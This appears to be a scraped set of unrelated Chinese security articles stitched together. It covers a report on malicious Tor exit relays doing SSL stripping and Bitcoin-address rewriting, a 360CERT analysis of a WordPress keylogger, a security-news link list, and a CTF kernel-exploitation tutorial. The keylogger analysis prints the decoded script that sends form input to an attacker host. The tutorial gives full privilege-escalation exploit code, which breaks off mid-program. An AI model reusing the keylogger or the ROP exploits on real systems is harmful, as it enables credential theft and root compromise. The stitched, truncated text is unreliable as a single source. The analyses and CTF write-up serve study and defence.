5年前，我开始始监测恶意Tor出口中继器的活动，到目前为止2020的局势可能是最糟糕的一年，据我们所积累的数据，这是我们第一次发现一个犯罪集团控制了整个Tor网络23%以上的出口中继器。这意味着大约有四分之一的Tor网络连接是通过由一个犯罪集团控制的出口中继器。
图1显示了恶意参与者控制的Tor网络出口中继器的累积数量，以已确认的恶意中继器同时运行的数量（峰值超过380个中继器）。图1表明，如果用户在2020年5月22日的攻击高峰时打开了Tor浏览器，那么他有23.95%的概率遇到由攻击者控制的Tor出口中继器。由于Tor客户端通常会随着时间的推移使用更多的Tor出口中继器，因此使用恶意出口中继器的概率会随着时间的推移而增加。
## 临时下线措施
图1中的中继器统计曲线显示，犯罪集团在大垃圾堆中添加了中继器，这让OrNetRadar（一种中继器组检测器）有检测它们的机会，事实上OrNetRadar在多次案例里都实施了检查（见附录）。最值得注意的是，你可以在2020年3月看到中继器数量的快速增长趋势。在2020年3月16日，OrNetRadar
和 Tor Project’s Sybil Attack detection
报告了一次波峰，这次有150多个新中继器突然加入tor网络。这是一件不应该在在如此短的时间段里发生的事情。这些中继器第一时间被下线，但3天后，恶意运营商联系坏中继器邮递列表并配置了所谓的“MyFamily”设置，来表明自己是一个中继器组后，他们又被允许加入网络。目前，tor网络没有进一步的需求运行如此大规模的一组Tor中继器。
## 持久的措施
图1中的3个快速下降曲线（标记为1、2、3）代表这样一类事件，当Tor目录管理机构检测、报告这些恶意Tor出口中继器，并将其从网络中下线。这也证实了犯罪集团从封禁措施中恢复的速度有多快，而且管理机构并没有一次性检测出全体恶意中继器。在一次全网封禁之后，他们用了不到30天的时间恢复规模，对出口中继器的占有率再次达到22%（从4%开始）。这也向我们展示了他们的决心，他们显然不会因为被封禁一次就退缩。事实上，他们似乎提前做好了被检测和拆除之后的应对计划，并抢先安装新的中继器，以避免恶意中继器的活动突然中断。
## 伪造多个独立中继器组
突击移除事件为他们提供了一个教训，接下来几乎所有的中继器都是完美的MyFamily配置，这里有一个重要的信息：他们没有将所有的中继器直接连接在一起，并声明在一个组中，而是假装成多个中继组。这是他们从一开始就采取的战略（2020年1月）。图2显示了他们通过家庭组交换信息（堆积图）的中继器的占有率。
图2:ContactInfo确认的恶意Tor出口中继器（由同一个组织运行）。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
图3显示了这个组织运营的恶意出口中继器的数量，这些中继器根据给定的联系人信息（堆栈图）拆分。
图3:ContactInfo确认的恶意Tor出口中继器数。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
中继器运营组织可以任意设置联系人信息，因此用户需要谨慎对待这些信息，由于这些电子邮件地址中有多个与Tor项目的恶意中继邮件列表有联系，因此我们有理由认为这些地址真实存在，并有被恶意中继器运营商控制的风险。犯罪集团甚至冒充联邦调查局，创建了一个地址“fbirelies@…”（这个电子邮件地址从来没有用来联系恶意中继器邮件列表，不过我不相信FBI和这些中继器有任何关系）。我们可以看到攻击者喜欢使用常见的电子邮件服务商（hotmail、protonmail和gmail）。
Join Timestamp, Removal Timestamp,ContactInfo
2020-01-27 21:00:00,2020-05-22 00:00:00,[email protected]
2020-01-29 20:00:00,2020-06-22 00:00:00,[email protected]
2020-02-29 03:00:00,2020-06-21 23:00:00,[email protected]
2020-03-16 05:00:00,2020-05-22 00:00:00,[email protected]
2020-03-21 13:00:00,2020-06-15 23:00:00,[email protected]
2020-05-04 02:00:00,2020-06-21 23:00:00,[email protected]
2020-05-25 08:00:00,2020-06-21 23:00:00,[email protected]
2020-05-28 19:00:00,2020-06-21 23:00:00,[email protected]
2020-06-02 08:00:00,2020-06-21 23:00:00,[email protected]
## 旧基础设施
恶意中继器分析的一个关键问题是：他们使用了哪些host服务公司？所以有一个根据互联网服务提供商的分类方式。它主要是OVH（一般来说，它是Tor中继器使用的最大的ISP之一）。Frantech、ServerAstra和Trabia
Network也是这个领域相当常见的中继器提供商。“Nice IT Services
Group”是一个很有趣的存在，因为2020年4月16日，在犯罪集团在这个鲜为人知的网络上部署了一些中继器，在此之前我从来没在这里见过中继器。
图4：犯罪集团使用了哪些ISP？主要是OVH和FranTech提供的方案。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
## 这个攻击者到底在利用什么？它对Tor用户有何影响？
他们经营的全部规模还不得而知，但他们有一个直白又明了的动机：利润。
当数据经过他们控制的出口中继器的时候，他们会故意修改数据，以此来向tor用户发动中间人攻击，
它们（有选择地）删除HTTP到HTTPS的重定向，以获得对未加密HTTP流量的访问权限，同时不会触发TLS证书警告。
对于那些不刻意在URL栏中写入“[https://”的Tor浏览器用户来说，很难检测到攻击。这是一种极为常见的攻击方法，被称为“ssl剥离”，它利用用户很少键入以“https://”开头的完整链接这一现象。](https://%E2%80%9D%E7%9A%84Tor%E6%B5%8F%E8%A7%88%E5%99%A8%E7%94%A8%E6%88%B7%E6%9D%A5%E8%AF%B4%EF%BC%8C%E5%BE%88%E9%9A%BE%E6%A3%80%E6%B5%8B%E5%88%B0%E6%94%BB%E5%87%BB%E3%80%82%E8%BF%99%E6%98%AF%E4%B8%80%E7%A7%8D%E6%9E%81%E4%B8%BA%E5%B8%B8%E8%A7%81%E7%9A%84%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95%EF%BC%8C%E8%A2%AB%E7%A7%B0%E4%B8%BA%E2%80%9Cssl%E5%89%A5%E7%A6%BB%E2%80%9D%EF%BC%8C%E5%AE%83%E5%88%A9%E7%94%A8%E7%94%A8%E6%88%B7%E5%BE%88%E5%B0%91%E9%94%AE%E5%85%A5%E4%BB%A5%E2%80%9Chttps://%E2%80%9D%E5%BC%80%E5%A4%B4%E7%9A%84%E5%AE%8C%E6%95%B4%E9%93%BE%E6%8E%A5%E8%BF%99%E4%B8%80%E7%8E%B0%E8%B1%A1%E3%80%82)
HSTS预加载和HTTPS极为常见，所以针对这种攻击的防范手段很早就出现了，但在现实中，许多网站运营商没有落实它们，导致他们的用户很容易受到这种攻击。这种攻击并不是Tor浏览器特有的。恶意中继器只是用来访问用户流量。
为了使检测更加困难，犯罪组织并没有一视同仁地攻击所有网站。目前来看他们主要针对与加密货币相关的网站，即多种比特币混合服务。他们篡改了HTTP流量中的比特币地址，将交易重定向到自己的钱包，而不是用户提供的比特币地址。比特币地址重写攻击并非新鲜事，但其操作规模却是如此庞大。目前无法确定他们是否发动了其他类型的攻击。
我已经联系了一些已知受影响的比特币网站，因此他们可以通过HSTS预加载在技术层面上缓解这一问题。其他人提交了已知受影响域的HTTPS
Everywhere规则（HTTP
Everywhere默认安装在Tor浏览器中）。不幸的是，这些站点当时都没有启用HSTS预加载。至少有一家受影响的比特币网站在得知这些事件后部署了HSTS预加载。
## 攻击结束了吗？
如果我们看一下Tor网络上公布的整体出口带宽，并突出显示被Tor目录管理机构删除的恶意中继器数量，我们可以看到，在2020年6月21日的最新下线措施之后，公布的出口中继器数量显著增加。
曲线的这一部分实际上与上个月相似，在2020年5月22日左右，当攻击者第一次被移除中继器后恢复了它的容量。我在图中添加了一条“预期”线，以显示我粗略估计的中继器能够达到的总体数量，在没有出现异常增长的情况下（通过添加已知合法运营商在清退非法中继器后添加的公开带宽大致计算得出）。
图5:Tor网络中公布的总出口带宽，移除恶意中继器后出现了异常增长。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
攻击者能够将他们的出口中继器占比从通常的60%左右降低到低于50%。这张图还显示，尽管事实上这些已知组织的完全公开的出口中继器数量在增加，但这些已知组织的所占比例却在减少。
图6：已知运营商/组织的出口中继器占比和公布的出口带宽。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
图7：自自治系统上次移除恶意出口中继器（2020年6月21日）以来未知运营商的出口中继器占用率（仅显示ASN>0.5%的出口中继器占比）。两个网络正在显著增长：OVH（第二次出现）和Liteserver
Holding。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
图8：自上次移除恶意出口中继器（2020-06-21）以来未知运营者的出口中继器所占比例，按出口中继器联系人信息（累计）分组。仅显示出口中继器占比大于0.5%的联系人信息。不包括没有联系人信息的出口中继器。Nuseu图表（原始数据源：<https://metrics.to>
这些图表和一些额外的指标，我不是为了避免销毁它们而发布的，它们表明攻击者并没有消失，但是由于对已知受害者的攻击变得越来越困难，攻击者可能选择了新的受害者或其他类型的攻击。这是一个正在分析中的话题，具体细节可能会发表在后续的博客文章。
## 对策
### 恶意中继器管理情况
在2019年12月的博客文章之后，Tor项目在2020年有了一些改进的计划，有一个专门的人来管理这个领域的改革，但是由于最近COVID19疫情导致的裁员，这个人被分配到了另一个领域。
除此之外，Tor目录管理机构显然不再移除他们自2020年6月26日以来一直移除的恶意中继器。目前尚不清楚是什么导致了这一政策变化，但显然有人乐见其成，并持续添加未声明的中继器组（以前由于缺少联系人信息和MyFamily而被移除）。
这意味着，在2019年12月，我们发现攻击者入侵了Tor网络10%的安保节点，但是这件事显然没有让官方带来任何改进。由于之前的报告没有对此采取行动或回应，因为一个多月以来，我已经停止报告中继器删除的情况，但是让我们暂时把这个问题放在一边（主题放在另一篇博客文章中），让我们记住Tor项目没有专门的资源来解决这个问题（因为找不到任何信息证明官方试图取得一些进展）。
### 关于“已知”和“未知”网络节点的更好的可视化工具
“我们缺乏跟踪和可视化可信中继器的工具”-罗杰·丁莱丁
关键问题在于，我们应该注意到Tor网络的已知节点与未知节点所占比例的显著变化。我的目标是通过将图6和图7这样的图表合并到每日生成的OrNetStats中来解决这个问题，但是我只能在某些些静态操作员验证码的验证可以自动化的情况下完成，因为从长远来看，手动验证太费时间了。
我正在开发的联系人信息共享规范的第2版，为Tor中继器操作员提供两个易于实现的选项，以允许自动验证“operatorurl”字段。经过验证的字段可以用作“可信任”标签的手动分配（一次性）的输入数据，然后用于图表。
一旦规范的第2版发布（应该在2020年8月底之前发布），并且足够多的中继器运营商采用，这样的图表就可以添加到OrNetStats和其他工具中。这也是为了帮助罗杰·丁莱丁在这个问题上的计划。这个方法的一个关键因素就是中继器运营商是否会采用版本2规范。
### 降低短期危害
我们如何让持续运行如此大规模Tor网络的犯罪集团花费更多的钱和时间？目前对（大规模）Tor中继器运营组织没有要求。因此，目前还没有什么手段能阻止犯罪集团添加150个恶意中继器，正如2020年3月的这次攻击所证明的那样。
以下建议考虑到Tor项目没有专门的资源来解决这个问题。
作为针对这一持续性问题的直接对策，Tor项目可能要求对运行Tor网络0.5%以上出口中继器或安保节点的所有新（2020年加入）Tor中继器运营商进行物理地址验证。为什么是0.5%？因为它是削减恶意Tor中继器的风险与所需验证工作量之间的平衡。
使用0.5%作为门槛，这实际上只有很少的运营商需要验证的运营商。截至2020-08-08，只有五个出口中继器运营商和一个安保节点运营商符合这些标准（新的和大的）。其中一些与之前检测到的犯罪组织有相似之处。
其他一些人已经有了很好的名声。因此，初始验证方式是向官方发送6个字母来作为运营商提供的物理地址（实际上更有可能是3个字母，因为有些运营商可能不请求物理地址验证）。
如何授权给那些在处理可疑中继时必须做出艰难决定的人也是一个关键问题。
### 长期：通过向已知运营商分配一个小规模的网络节点份额来限制攻击者
Roger
Dingledine的计划是为“已知”运营商团体的成员分配一个固定的限额。这限制了恶意操作人员可能造成的损害，无论他们在各自的中继器/中继器组里隐藏的有多好。这种方法很强大，但应与以下方法相结合，以进一步增加攻击者所需的犯罪成本：
1.运营商需要经过验证的电子邮件地址才能获得出口中继器或安保中继器的标签。电子邮件验证可以完全自动化。由于恶意中继运营商可以轻松注册电子邮件地址，所以第一条措施应该和第二条相结合。
2.要求大型运营商提供经过验证的物理地址（出口中继器或安保中继器占比大于或等于0.5%）
## 摘要
自2019年12月媒体披露犯罪集团对Tor网络的大规模攻击（恶意运营商确实运行了超过Tor安保节点的10%）以来，官方未对恶意Tor中继器发布任何改进措施。
这篇博文中讨论的恶意Tor中继器运营商控制了整个Tor网络出口容量的23%（截至2020年5月22日）
目录管理机构在初始尝试清退手段之后，恶意运营商展示了自己如何再次恢复恶意中继器的上线数量。
有多个指标表明，超过10%的Tor网络出口中继器处于犯罪集团的控制之中（截至2020年8月8日）
大规模恶意Tor中继器运营商的再次出现表明，当前针对恶意中继器的检查和应对方法不足以防止此类事件再次发生，并且Tor用户的安全局势已经出现了变化。
针对目前恶意中继器的问题，提出了多种具体对策。
Tor项目和Tor目录管理机构应采取行动，防止对Tor用户造成进一步损失。
## 致谢
在此感谢最初举报某些恶意中继器的人，这使得我们能够更深入的调查这个规模庞大的恶意tor出口中继器网络。（举报者要求匿名。）
## 附录
OrNetRadar 组织提供的关于恶意出口中继器的信息。
<https://nusenu.github.io/OrNetRadar/2020/01/29/a5>
<https://nusenu.github.io/OrNetRadar/2020/02/05/a3>
<https://nusenu.github.io/OrNetRadar/2020/02/11/a4>
<https://nusenu.github.io/OrNetRadar/2020/02/16/a2>
<https://nusenu.github.io/OrNetRadar/2020/02/29/a4>
<https://nusenu.github.io/OrNetRadar/2020/03/16/a5>
<https://nusenu.github.io/OrNetRadar/2020/03/30/a6>
<https://nusenu.github.io/OrNetRadar/2020/03/30/a7>
<https://nusenu.github.io/OrNetRadar/2020/04/11/a4>
<https://nusenu.github.io/OrNetRadar/2020/04/13/a8>
<https://nusenu.github.io/OrNetRadar/2020/04/14/a3>
<https://nusenu.github.io/OrNetRadar/2020/04/16/a7>
<https://nusenu.github.io/OrNetRadar/2020/04/21/a4>
<https://nusenu.github.io/OrNetRadar/2020/05/04/a9>
<https://nusenu.github.io/OrNetRadar/2020/05/06/a2>
<https://nusenu.github.io/OrNetRadar/2020/05/09/a2>
<https://nusenu.github.io/OrNetRadar/2020/05/22/a7>
<https://nusenu.github.io/OrNetRadar/2020/05/25/a4>
<https://nusenu.github.io/OrNetRadar/2020/05/28/a1>
<https://nusenu.github.io/OrNetRadar/2020/06/02/a1>
<https://nusenu.github.io/OrNetRadar/2020/06/13/a2> | 社区文章 |
# 360CERT：Wordpress Keylogger事件报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 事件背景
Catalin
Cimpanu发现几起针对WordPress站点的攻击，主要通过加载恶意脚本进行键盘记录，挖矿或者挂载广告。并且有证据表明，这种攻击从4月份活跃至今。360CERT对该事件十分关注。
## 0x01 事件描述
起因是WordPress被注入了一个混淆的js脚本，从主题的function.php文件进行植入。加载的js脚本地址为：
<script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js'></script>
<script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js'></script>
其中reconnecting-websocket.js用作websocket通信，cors.js中包含后门。Cors.js更改前端页面，释放javascript脚本进行输入监听，之后将数据发送给攻击者（wss://cloudflare[.]solutions:8085/）。
## 0x02攻击脚本分析
用户WordPress首页底部有两个JS，第一个用来做websocket通信。后门核心文件http://cloudflare[.]solutions/ajax/libs/cors/cors.js。其中cors.js有混淆，简单处理后得到攻击脚本：
攻击脚本会首先调用linter()，其中有对linterkey1，linterkey2的解码。
https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js?657[.............................]
中，域名cdnjs.cloudflare.com是不存在的，根据代码逻辑，有用的部分应为？后的内容：
解密出：
function process_event(event) {
var result = JSON.stringify({key:event.target.value , element: event.target.id});
socket.send(result);
}
var i_fields = document.getElementsByTagName('input');
for(var i=0; i < i_fields.length; i++) {
i_fields[i].addEventListener('blur',process_event);
}
逻辑很好理解，监听blur 事件(输入框失去焦点) 通过websocket发送用户input内容。
最后，窗口加载后执行addyandexmetrix()。该函数是一个类似cnzz，做访问统计的js，具体用法：
<https://yandex.com/support/metrica/code/counter-initialize.xml>
## 0x03 攻击影响
查看cloudflare[.]solutions DNS请求记录：
可以看到，在6月份有一个峰值。并且在近期，攻击趋势陡然上升。以下是今天，截至写稿时的请求记录：
可以看到，今天时，该攻击已经激化。
对页面进行检索，发现全球有近五千多站点被感染：
以下受感染的部分域名：
## 0x04 缓解措施
查看页面源代码中是否有向cloudflare[.]solutions的JS请求，通过这种方法进行自检。
恶意的JS是通过WordPress主题的function.php文件进行植入。请立即删除文件中，页面渲染恶意JS的部分。此时，密码很有可能已经被偷取，请及时更改密码。
## 0x05 IOCs
资源请求：
hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js
hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js
数据接收：
wss://cloudflare[.]solutions:8085/
## 0x06 时间线
2017年12月7日 Catalin Cimpanu事件披露
2017年12月8日 360CERT及时跟进，发布预警
## 0x07 参考
<https://www.bleepingcomputer.com/news/security/keylogger-found-on-nearly-5-500-infected-wordpress-sites/> | 社区文章 |
# 【知识】5月18日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Joomla!3.7.0 Core SQL注入漏洞、ORACLE PEOPLESOFT 远程代码执行漏洞：从BLIND
XXE到系统shell、对NSA
SHADOWBROKERS泄漏工具中的“EPICHERO”的分析、一个简单的分布式WEB扫描器的设计与实践、Eternalblue exploit for
Windows 8/2012、PHPCMS MT_RAND SEED CRACK致authkey泄露**
**
**
**资讯类：**
* * *
黑客已经侵入Edmodo教育平台，窃取约7700万教师，学生和家长的信息
<https://www.grahamcluley.com/edmodo-hackers-breached-education-platform-stole-user-data-hashed-passwords/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Joomla!3.7.0 Core SQL注入漏洞
<https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html>
<http://bobao.360.cn/learning/detail/3868.html>
WordPress 4.7.5发布修复多个安全漏洞
<https://wordpress.org/news/2017/05/wordpress-4-7-5/>
ORACLE PEOPLESOFT 远程代码执行漏洞：从BLIND XXE到系统shell
<https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce>
使用binsnitch.py检测恶意软件创建文件
<https://blog.nviso.be/2017/05/17/using-binsnitch-py-to-detect-files-touched-by-malware/>
Call For Papers – Recon Village @ DEFCON 25
[http://www.reconvillage.org/cfp/](http://blog.infobytesec.com/2017/05/nsa-shadowbrokers-leak-analyzing.html)
对NSA SHADOWBROKERS泄漏工具中的“EPICHERO”的分析
<http://blog.infobytesec.com/2017/05/nsa-shadowbrokers-leak-analyzing.html>
在DNS的视角看WannaCry
<http://www.nominum.com/tech-blog/wannacry-views-dns-frontline/>
常见的多行查询bypass总结
<http://www.math1as.com/index.php/archives/471/>
一个简单的分布式WEB扫描器的设计与实践
<http://avfisher.win/archives/676>
PHPCMS MT_RAND SEED CRACK致authkey泄露
<http://www.yulegeyu.com/2017/05/13/PHPCMS-MT-RAND-SEED-CRACK%E8%87%B4authkey%E6%B3%84%E9%9C%B2%E3%80%82/>
QQ Browser 9.6 API 权限控制问题导致泄露隐私模式
<https://www.n0tr00t.com/2017/05/17/QQBrowser-Infoleak-27552.html>
MSSQL DBA权限获取WEBSHELL的过程
<http://fuping.site/2017/05/16/MSSQL-DBA-Permission-GET-WEBSHELL/>
一个基于云的本地文件包含，多家公司受影响
<http://panchocosil.blogspot.cl/2017/05/one-cloud-based-local-file-inclusion.html>
MemoryMonRWX：通过实时记录和控制内存访问检测内核模式Rootkit
<https://igorkorkin.blogspot.gr/2017/03/memorymonrwx-detect-kernel-mode.html>
Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1107>
MacOS uses an insecure swap file
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1131>
Apple iOS < 10.3.2 – Notifications API Denial of Service Home Exploit
<https://www.exploit-db.com/exploits/42014/>
Eternalblue exploit for Windows 8/2012
<https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e>
趋势科技Interscan Web Security虚拟设备（IWSA）6.5 SP2 XSS
<https://cxsecurity.com/issue/WLB-2017050118>
SAP客户：确保您的SAPJVM是最新的！
<http://codewhitesec.blogspot.com/2017/05/sap-customers-make-sure-your-sapjvm-is.html> | 社区文章 |
# 简介
ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上，利用程序中已有的小片段 (gadgets)
来改变某些寄存器或者变量的值，从而控制程序的执行流程;这种攻击方法在用户态的条件中运用的比较多,ret2shellcode,ret2libc,ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基本一样....
这里我以2018年的强网杯中的[core](https://github.com/cc-sir/ctf-challenge/tree/master/2018%20%E5%BC%BA%E7%BD%91%E6%9D%AFkernel%20pwn-core)来进行演示和学习的,环境我已经放到的了github上面了,需要的可以自行下载学习....
# 前置知识
## kernel space to user space
我们知道Linux操作系统中用户态和内核态是相互隔离的,所以当系统从内核态返回到用户态的时候就必须要进行一些操作,才可以是两个状态分开,具体操作是:
1. 通过`swapgs`指令恢复用户态`GS`的值;
2. 通过`sysretq`或者`iretq`指令恢复到用户控件继续执行;如果使用`iretq`指令则还需要给出用户空间的一些信息(`CS, eflags/rflags, esp/rsp`等);
比如这里利用的`iretq`指令,在栈中就给出`CS,eflags,sp,ss`等信息:
当然,我们可以通过下来这这个函数来获取并保存这些信息:
unsigned long user_cs, user_ss, user_eflags, user_sp;
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
## 提权函数
在内核态提权到root，一种简单的方法就是是执行下面这个函数:
commit_creds(prepare_kernel_cred(0));
这个函数会使我们分配一个新的cred结构(uid=0, gid=0等)并且把它应用到调用进程中,此时我们就是root权限了;
`commit_creds`和`prapare_kernel_cred`都是内核函数,一般可以通过`cat
/proc/kallsyms`查看他们的地址,但是必须需要root权限....
# 具体分析
现在我们可以先分析一下这个core.ko驱动了:
首先查看一下这个ko文件的保护机制有哪些:
开启了canary保护....
core_ioctl:
这个函数定义了三条命令，分别调用`core_read()`,`core_copy_func()`,并且可以设置全局变量`off`;
core_copy_func:
这个函数会根据用户的输入长度，从`name`这个全局变量中往栈上写数据,并且函数在判断我们输入的这个a1变量类型的时候是`signed long
long`,但是`qmemcpy`的时候就变成了`unsigned
__int16`了,所以这里存在一个截断，当我们输入如`0xf000000000000000|0x100`这样的数据就可以绕过限制,就可以造成内核的栈溢出了;
core_read:
这个函数会从栈上读出长度为0x40的数据,并且读的起始位置我们可以通过改变`off`这个全局变量的大小来控制,也就是说这个我们可以越界访问数据,将栈上面的返回地址,canary等信息读到....
core_write:
最后这个函数我们可以向全局变量`name`中写入一个长度不大于0x800的字符串....
# 思路方法
所以现在我们思路比较清晰了:
1. 首先通过`ioctl`函数设置全局变量`off`的大小，然后通过`core_read()`leak出canary;
2. 然后通过`core_write()`向全局变量`name`中写入我们构造的ROPchain;
3. 通过设置合理的长度利用`core_copy_func()`函数把`name`的ROPchain向v2变量上写,进行ROP攻击;
4. ROP调用commit_creds(prepare_kernel_cred(0))，然后swapgs，iretq到用户态;
5. 用户态起shell，get root;
所以这里最重要的就是我们的ROPchain的构造了....
为了方便调试,我们修改一下init文件:
- setsid /bin/cttyhack setuidgid 1000 /bin/sh
+ setsid /bin/cttyhack setuidgid 0 /bin/sh
这样我们start的时候就是root权限了,方便我们查看一些函数的地址;
# 获得基地址
首先我们查看一下qume中函数的地址:
然后通过gdb调试查看core_read的栈内容:
基本我们能够从栈中泄露vmlinux和core.ko的基地址了....
通过这些位置的地址减去偏移就是基地址了,这个和用户态找libc的基地址的方法是一样的.....
然后我们可以利用ropper工具来查找我们需要的gadget了:
ropper --file core.ko --search "pop|ret"
这里建议使用ropper而不是ROPgadget,因为ROPgadget太慢了,ropper可以直接通过`pip install ropper`来安装;
# EXP
poc.c:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}
void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}
void core_write(char *buf,int a3){
write(fd,buf,a3);
}
void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int main(){
int ret,i;
char buf[0x100];
size_t vmlinux_base,core_base,canary;
size_t commit_creds_addr,prepare_kernel_cred_addr;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core",O_RDWR);
change_off(0x40);
core_read(buf);
/*
for(i=0;i<0x40;i++){
printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
}
*/
vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
core_base = *(size_t *)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t *)(&buf[0]);
printf("[*]canary:%p\n",canary);
printf("[*]vmlinux_base:%p\n",vmlinux_base);
printf("[*]core_base:%p\n",core_base);
printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
//junk
for(i = 0;i < 8;i++){
rop[i] = 0x66666666;
}
rop[i++] = canary; //canary
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;
rop[i++] = 0; //rdi
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
rop[i++] = commit_creds_addr;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop,0x100);
core_copy_func(0xf000000000000100);
return 0;
}
编译:
gcc poc.c -o poc -w -static
运行:
这里说两个地方,第一个是确定填充的垃圾数据的大小时,可以利用gbd动态调试查看确定:
确定填充的大小是0x40;
然后就是ROP链中有一个:
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:
# ret2usr
最后这里在说另外一个方法也是基于ROP的方法;
因为这个内核开启了kalsr和canary,但是没有开启smep保护,我们可以利用在用户空间的进程不能访问内核空间，但是在内核空间能访问用户空间的特性,我们可以直接返回到用户空间构造的`commit_creds(prepare_kernel_cred(0))`(通过函数指针实现来提权，虽然这两个函数位于内核空间，但因为此时我们是`ring
0`特权，所以可以正常运行;
# EXP
ret2usr.c:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr,prepare_kernel_cred_addr;
void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}
void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}
void core_write(char *buf,int a3){
write(fd,buf,a3);
}
void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
int ret,i;
char buf[0x100];
size_t vmlinux_base,core_base,canary;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core",O_RDWR);
change_off(0x40);
core_read(buf);
/*
for(i=0;i<0x40;i++){
printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
}
*/
vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
core_base = *(size_t *)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t *)(&buf[0]);
printf("[*]canary:%p\n",canary);
printf("[*]vmlinux_base:%p\n",vmlinux_base);
printf("[*]core_base:%p\n",core_base);
printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
//junk
for(i = 0;i < 8;i++){
rop[i] = 0x66666666;
}
rop[i++] = canary; //canary
rop[i++] = 0x0;
rop[i++] = (size_t)get_root;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
